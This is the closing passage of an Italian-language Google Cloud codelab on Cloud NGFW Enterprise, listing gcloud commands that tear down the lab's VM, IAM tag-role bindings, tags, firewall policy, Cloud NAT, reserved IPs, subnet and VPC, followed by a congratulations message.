gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

(Facoltativo) Se sono stati modificati i ruoli tagAdmin e tagUsers, procedi nel seguente modo:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Rimuovi le chiavi e i valori del tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Elimina il criterio di rete e l'associazione del firewall Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Elimina il router Cloud e Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Elimina gli indirizzi IP riservati:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Infine, elimina la subnet e la rete VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Complimenti!

Congratulazioni, hai completato il codelab Cloud NGFW Enterprise per l'ispezione est-ovest e nord-sud.